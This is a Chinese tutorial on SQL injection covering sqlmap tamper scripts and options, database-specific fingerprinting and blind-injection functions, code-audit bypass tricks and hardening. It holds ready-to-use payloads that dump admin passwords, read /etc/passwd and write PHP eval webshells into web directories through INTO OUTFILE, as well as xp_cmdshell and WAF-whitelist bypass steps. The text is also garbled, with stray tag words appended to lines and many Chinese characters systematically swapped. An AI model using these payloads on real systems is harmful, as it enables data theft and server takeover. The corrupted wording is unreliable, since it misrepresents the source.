SQL注入关联分析

在Web攻防中,SQL注入绝对是一个技能的频繁项,为了技术的成熟化、自动化、智能化,咱们有必要创建SQL注入与之相关典型技术之间的关联规则。在分析过程当中,整个规则均围绕核心词进行直线展开,咱们简单称之为“线性”关联。以知识点的复杂性咱们虽然称不上为神经网络,但它依然像滚雪球般对知识架构进行完善升级,因此也可称之为雪球技术。php

 

本文以SQL注入为核心,进行资料信息整合性解读,主要目的有:html

 

  1. 为关联分析这门科学提供简单认知;mysql

  2. 为初级安全爱好学习者提供参考,大牛绕过;web

  3. 分析各关键点的区别与联系;sql

  4. 安全扫盲。shell

 

本文结构以下:数据库

 

 

PS:文章中使用了N多表格形式,主要是为了更好的区别与联系,便于关联分析及对比。windows

 

 

0x01 基本科普api

 

1.1  概念说明

 

说明:经过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料以外结果的攻击行为。http://wiki.wooyun.org/web:sql安全

 

影响:数据库增删改查、后台登陆、getshell

 

修复:

  • 使用参数检查的方式,拦截带有SQL语法的参数传入应用程序

  • 使用预编译的处理方式处理拼接了用户参数的SQL语句

  • 在参数即将进入数据库执行以前,对SQL语句的语义进行完整性检查,确认语义没有发生变化

  • 在出现SQL注入漏洞时,要在出现问题的参数拼接进SQL语句前进行过滤或者校验,不要依赖程序最开始处防御代码

  • 按期审计数据库执行日志,查看是否存在应用程序正常逻辑以外的SQL语句执行

 

 

 

1.2  注入分类

 

1)  按照数据包方式分类

 

i.  Get post cookie auth

 

2)  按照呈现形式

 

i.  回显型注入

i)  Int string search

 

ii.  盲注

i)  Error bool time

 

iii.  另类注入

i)  宽字节注入

ii)  http header 注入

iii)  伪静态

vi)  Base64变形

 

神器解读

 

2.1  何为神器

 

SQLMAP

 

使用方法,参见乌云知识库。

 

1.  sqlmap用户手册

2.  sqlmap用户手册[续]

3.  sqlmap进阶使用

 

Tamper 概览

 

 

脚本名称

做用

apostrophemask.py

用utf8代替引号

equaltolike.py

like  代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符(”),(’  – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py

空格替换为#号 随机字符串 以及换行符

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每一个关键字以前添加mysql版本评论

space2morehash.py

空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py

在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py

绕过对 IFNULL 过滤。 替换相似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py

空格替换为其它空符号

base64encode.py

用base64编码替换

space2mssqlhash.py

替换空格

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

space2mysqlblank.py

空格替换其它空白符号(mysql)

between.py

用between替换大于号(>)

space2mysqldash.py

替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句。 而后替换=为like

nonrecursivereplacement.py

取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

space2randomblank.py

代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py

双url编码(不处理以编码的)

unionalltounion.py

替换UNION ALL SELECT UNION  SELECT

charencode.py

url编码

randomcase.py

随机大小写

unmagicquotes.py

宽字符绕过 GPC addslashes

randomcomments.py

用/**/分割sql关键字

charunicodeencode.py

字符串  unicode 编码

securesphere.py

追加特制的字符串

versionedmorekeywords.py

注释绕过

space2comment.py

Replaces space  character (‘ ‘) with comments ‘/**/’

 

一些妙用:

 

1.  避免过多的错误请求被屏蔽  参数:--safe-url,--safe-freq

2.  二阶SQL注入  参数:--second-order

3.  从数据库服务器中读取文件  参数:--file-read

4.  把文件上传到数据库服务器中  参数:--file-write,--file-dest

5.  爬行网站URL  参数:--crawl

6.  非交互模式  参数:--batch

7.  测试WAF/IPS/IDS保护  参数:--identify-waf

8.  启发式判断注入  参数:--smart(有时对目标很是多的URL进行测试,为节省时间,只对可以快速判断为注入的报错点进行注入,可使用此参数。)

9.  -technique

B :基于Boolean的盲注(Booleanbased blind)

Q :内联查询(Inline queries)

T :基于时间的盲注(time based blind)

U :基于联合查询(Union query based)

E :基于错误(error based)

S : 栈查询(stack queries)

 

2.2  源码精读

 

流程图

 

 

目前还未看完,先摘抄一部分(基于时间的盲注)讲解:

 

测试应用是否存在SQL注入漏洞时,常常发现某一潜在的漏洞难以确认。这可能源于多种缘由,但主要是由于Web应用未显示任何错误,于是没法检索任何数据。

 

对于这种状况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会颇有帮助。时间延迟是一种很强大的技术,Web服务器虽然能够隐藏错误或数据,但必须等待数据库返回结果,所以可用它来确认是否存在SQL注入。该技术尤为适合盲注。

 

使用了基于时间的盲注来对目标网址进行盲注测试,代码以下:

 

 

 

重点注意Request.queryPage函数,将参数timeBasedCompare设置为True,因此在Request.queryPage函数内部,有这么一段代码:

 

 

而函数wasLastRequestDelayed()的功能主要是判断最后一次的请求是否有明显的延时,方法就是将最后一次请求的响应时间与以前全部请求的响应时间的平均值进行比较,若是最后一次请求的响应时间明显大于以前几回请求的响应时间的平均值,就说明有延迟。

 

wasLastRequestDelayed函数的代码以下:

 

 

每次执行http请求的时候,会将执行所响应的时间append到kb.responseTimes列表中,但不包括time-based blind所发起的请求。

 

从如下代码就能够知道了,当timeBasedCompare为True(即进行time-based blind注入检测)时,直接返回执行结果,若是是其余类型的请求,就保存响应时间。

 

 

 

另外,为了确保基于时间的盲注的准确性,sqlmap执行了两次queryPage。

 

若是2次的结果都为True,那么就说明目标网址可注入,因此将injectable 设置为True。

 

0x03  数据库特性

 

3.1  Web报错关键字

 

  • Microsoft OLE DB  Provider

  • ORA-

  • PLS-

  • Error in your SQL Syntax

  • SQL Error

  • Incorrect Syntax near

  • Failed Mysql

  • Unclosed Quotation Mark

  • JDBC/ODBC Driver

 

3.2  版本查询

 

Mysql: /?param=1 select count(*)  from information_schema.tables group by concat(version(),floor(rand(0)*2))

MSSQL: /?param=1  and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

Oracle >=9.0: /?param=1  and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version  where rownum=1)||chr(62))) from dual)—

PostgreSQL: /?param=1  and(1)=cast(version() as numeric)--

 

3.3  SQL方言差别

 

 

DB

链接符

行注释

惟一的默认表变量和函数

MSSQL

%2B    (URL+号编码)

e.g.  ?category=sho’%2b’es

--

@@PACK_RECEIVED

MYSQL

%20    (URL空格编码)

#

CONNECTION_ID()

Oracle

||

--

BITAND(1,1)

PGsql

||

--

getpgusername()

Access

“a”  & “b”

N/A

msysobjects

 

3.4  SQL经常使用语句

 

SQL经常使用语句

 

 

内容

MSSQL

MYSQL

ORACLE

查看版本

select  @@version

select  @@version

select  version()

Select  banner from v$version;

当前用户

select  system_users;

select  suer_sname();

select  user;

select  loginname from master..sysprocesses WHERE spid =@@SPID;

select  user();

select  system_user();

Select  user from dual

列出用户

select  name from master..syslogins;

select  user from mysql.user;

Select  username from all_users ORDER BY username;

Select  username from all_users;

当前库

select  DB_NAME();

select  database();

Select  global_name from global_name;

列出数据库

select  name from master..sysdatabases;

select  schema_name from information_schema.schemata;

Select  ower,table_name from all_users;

#列出代表

当前用户权限

select  is_srvolemenber(‘sysadmin’);

select  grantee, privilege_type,is_grantable from information schema.user privileges;

Select  * from user role_privs;

Select  * from user_sys_privs;

服务器主机名

select  @@servername;

/

Select  sys_context(‘USERENV’,’HOST’) from dual;

 

 

 

3.5  盲注函数

 

 

数据

MSSQL

Mysql

oracle

字符串长度

LEN()

LENGTH()

LENGTH()

从给定字符串中提取子串

SUBSTRING(string,offset,length)

SELECT  SUBSTR(string,offset,length)

SELECT  SUBSTR(string,offset,length)

From  dual

字符串(‘ABC’)不带单引号的表示方式

SELECT  CHAR(0X41)+CHAR(0X42)+

CHAR(0X43)

Select  char(65,66,67)

Select  chr(65)||chr(66)+chr(67) from dual

触发延时

WAITFOR  DELAY ‘0:0:9’

BENCHMARK(1000000,MD5(“HACK”))

 

Sleep(10)

BEGIN  DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入)

UTL_INADDR.get_host_name()

UTL_INADDR.get_host_address()

UTL_HTTP.REQUEST()

IF语句

If  (1=1) select ‘A’ else select ‘B’

SELECT  if(1=1,’A’,’B’)

/

 

PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改成SUBSTR.

 

 

0x04手工注入

 

4.1  应用场景

 

1)  快速验证(概念性证实)

 

2)  工具跑不出来了

i)  的确是注入,但不出数据

ii)  特征不规律,挖掘规律,定制脚本

 

3)  绕过过滤

i)  有WAF,手工注入

ii)  有过滤,搞绕过

 

4)  盲注类

 

4.2  经常使用语句

 

 

数据库

语句(大多须要配合编码)

Oracle

oder  by N

#  爆出第一个数据库名

and  1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from  dual

#  依次爆出全部数据库名,假设第一个库名为first_dbname

and  1=2 union select 1,2,(select owner from all_tables where rownum=1 and  owner<>'first_dbname'),4,5,6 from dual

爆出表名

and  1=2 union select 1,2,(select table_name from user_tables where  rownum=1),4,5,6 from dual

同理,同爆出下一个数据库相似爆出下一个表名就不说了,可是必须注意表名用大写或者表名大写的十六进制代码。
 有时候咱们只想要某个数据库中含密码字段的表名,采用模糊查询语句,以下:
 and (select column_name from user_tab_columns where column_name like  '%25pass%25')<0

爆出表tablename中的第一个字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename'  and rownum=1),4,5,6 from dual

依次下一个字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where  table_name='tablename' and column_name<>'first_col_name' and  rownum=1),4,5,6 from dual

 

若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。

若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。

Mysql

#正常语句

192.168.192.128/sqltest/news.php?id=1

#判断存在注入否

192.168.192.128/sqltest/news.php?id=1  and 1=2

#肯定字段数 order by

192.168.192.128/sqltest/news.php?id=-1  order by 3

#测试回显字段

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,3

#测试字段内容

192.168.192.128/sqltest/news.php?id=-1  union select 1,user(),3

192.168.192.128/sqltest/news.php?id=-1  union select  1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3

#查询当前库下全部表

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema=database()

#查询admin表下的字段名(16进制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns  where table_name=0x61646d696e

#查询admin表下的用户名密码

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(name,0x5e,pass) from admin

#读取系统文件(/etc/passwd,需转换为16进制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,load_file(0x2f6574632f706173737764)

#文件写入

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into  outfile '/var/www/html/1.php'--

PS:若权限不足,换个目录

MSSQL

PS:回显型请查阅参考资料的连接,这里主要盲注的语法。

#爆数据库版本(可先测长度)

aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0

ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。

#爆当前数据库名字

aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0

#爆表

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1  name/**/from/**/dbname.sys.all_objects where  type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0

#爆user表内字段

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/  1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/**  /TABLE_NAME='user'),1,1))>0/**/--&t=0

#爆数据

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

 

PS:关于注入绕过(bypass),内容偏多、过细,本次暂不概括。单独一篇

 

 

0x05漏洞挖掘

 

5.1  黑盒测试

 

套装组合

 

1)  AWVS类 + sqlmap (手工)

2)  Burp+ sqlmapAPI(手工)

 

 

减小体力活的工程化

 

Sqli-hunter

GourdScan

 

5.2  代码审计

 

白盒的方式有两种流,一种是检查全部输入,另外一种是根据危险函数反向

 

注入引起的特征点及敏感函数。

 

 

NO.

概要

1

$_SERVER未转义

2

更新时未重构更新序列

3

使用了一个未定义的常量

4

PHP自编标签与strip_tags顺序逻辑绕过

5

可控变量进入双引号

6

宽字节转编码过程

7

mysql多表查询绕过

8

别名as+反引号可闭合其后语句

9

mysql的类型强制转换

10

过滤条件是否有if判断进入

11

全局过滤存在白名单

12

字符串截断函数获取定长数据

13

括号包裹绕过

14

弱类型验证机制

15

WAF或者过滤了and|or的状况可使用&&与||进行盲注。

16

windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”

17

二次urldecode注入

18

逻辑引用二次注入

 

1)  $_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并无转义,形成了注入。

 

2)  update更新时没有重构更新序列,致使更新其余关键字段(金钱、权限)

 

 

 

 

 

 

3)  在 php中 若是使用了一个未定义的常量,PHP 假定想要的是该常量自己的名字,如同用字符串调用它同样(CONSTANT 对应 “CONSTANT”)。此时将发出一个 E_NOTICE 级的错误(参考http://php.net/manual/zh/language.constants.syntax.php)

 

4)  PHP中自编写对标签的过滤或关键字过滤,应放在strip_tags等去除函数以后,不然引发过滤绕过。

 

 

 

 

5)  当可控变量进入双引号中时可造成webshell所以代码执行使用,${file_put_contents($_GET[f],$_GET[p])}能够生成webshell。

 

 

6)  宽字节转编码过程当中出现宽字节注入

 

PHP链接MySQL时设置setcharacter_set_client=gbk ,MySQL服务器对查询语句进行GBK转码致使反斜杠\被%df吃掉。

 

7)  构造查询语句时没法删除目标表中不存在字段时可以使用mysql多表查询绕过

 

 

 

 

8)  mysql中(反引号)能做为注释符,且会自动闭合末尾没有闭合的反引号。没法使用注释符的状况下使用别名as+反引号可闭合其后语句。

 

9)  mysql的类型强制转换可绕过PHP中empty()函数对0的false返回

 

提交/?test=0axxx    ->  empty($_GET['test']) => 返回真

 

可是mysql中提交其0axxx到数字型时强制转换成数字0

 

 

 

10)  存在全局过滤时观察过滤条件是否有if判断进入,cms可能存在自定safekey不启用全局过滤。经过程序遗留或者原有界面输出safekey致使绕过。

 

 

11)  因为全局过滤存在白名单限定功能,可以使用无用参数带入绕过。

 

$webscan_white_directory='admin|\/dede\/|\/install\/';

 

请求中包含了白名单参数因此放行。

 

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1'  and 1=2 union select xxx

 

12)  字符串截断函数获取定长数据,截取\\或\’前一位,闭合语句。


利用条件必须是存在两个可控参数,前闭合,后注入。

 

13)  过滤了空格,逗号的注入,可以使用括号包裹绕过。具体如遇到select from(关键字空格判断的正则,且剔除/**/等)可以使用括号包裹查询字段绕过。

 

14)  因为PHP弱类型验证机制,致使==、in_array()等可经过强制转换绕过验证。

 

 

 

15)  WAF或者过滤了and|or的状况可使用&&与||进行盲注。

 

 

16)  windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别表明N个任意字符与1个任意字符。

 

file_get_contents("/images/".$_GET['a'].".jpg");

 

可以使用test.php?a=../a<%00访问对应php文件。

 

17)  使用了urldecode 或者rawurldecode函数,则会致使二次解码声场单引号而发生注入。

 

 

 

 

18)  逻辑引用,致使二次注入

 

部分盲点

 

盲点以下:

 

①注入点相似id=1这种整型的参数就会彻底无视GPC的过滤;

②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防御;

③有时候全局的过滤只过滤掉GET、POST和COOKIE,可是没过滤SERVER。

 

附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

 

PS:若对注入的代码审计有实际操类演练,参考白帽子分享之代码审计的艺术系列HackBraid@301在路上

 

 

0x06  安全加固

 

6.1  源码加固

 

1)  预编译处理

 

参数化查询是指在设计与数据库连接并访问数据时,在须要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数一般一占位符来表示。

 

MSSQL(ASP.NET)

 

为了提升sql执行速度,请为SqlParameter参数加上SqlDbType和size属性

 

 

PHP

 

 

JAVA

 

 

PS:尽管SQL语句大致类似,可是在不一样数据库的特色,可能参数化SQL语句不一样,例如在Access中参数化SQL语句是在参数直接以“?”做为参数名,在SQL Server中是参数有“@”前缀,在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。

 

2)  过滤函数的使用

 

i.  addslashes()

ii.  mysql_escape_string()

iii.  mysql_real_escape_string()

iv.  intval()

 

3)  框架及第三方过滤函数与类

 

i.  JAVA hibernate框架

ii.  Others

 

6.2  产品加固

 

Web应用防火墙——WAF

Key:云waf、安全狗、云锁、sqlchop

 

0x07  关联应用

 

7.1  Getshell

 

1)  注入,查数据,找管理员密码,进后台,找上传,看返回,getshell

 

2)  PHPMYSQL 类,大权限,知路径,传文件,回shell(上传&命令执行),OS-SHELL。

 

3)  MSSQL大权限,知路径,传文件,回shell。结合xp_cmdshell 执行系统命令。

 

4)  Phpmyadmingetshell (编码)

 

select'<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

 

5)  Unionselect getshell

 

and 1=2 union select0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile'/alidata/www/cms/ttbdxt/conf.php'--

 

7.2  关联功能点

 

功能点

参数

登陆

Username password

Header

Cookie  Referer x-forward remote-ip

查询展现

数据写入(表单)

数据更新

id u category price  str value

数据搜素

Key

伪静态

(同3),加*

Mysql不安全配置

Set  character_set_client=gbk

%df%27

传参(横向数据流向、纵向入库流向)

Parameter (同3)

订单类多级交互、从新编辑

配送地址、资料编辑

二次注入

APP仍调用WEB  API

同3

编码urldecode base64

Urldecode()  rawurldecode()

 

0x08  参考资料

 

http://blog.csdn.net/rongyongfeikai2/article/details/40457827

http://drops.wooyun.org/tips/5254

https://www.91ri.org/7852.html

https://www.91ri.org/7869.html

https://www.91ri.org/7860.html

http://www.cnblogs.com/hongfei/category/372087.html

http://www.cnblogs.com/shellr00t/p/5310187.html

https://www.91ri.org/15074.html

http://blog.wils0n.cn/?post=11

相关文章
相关标签/搜索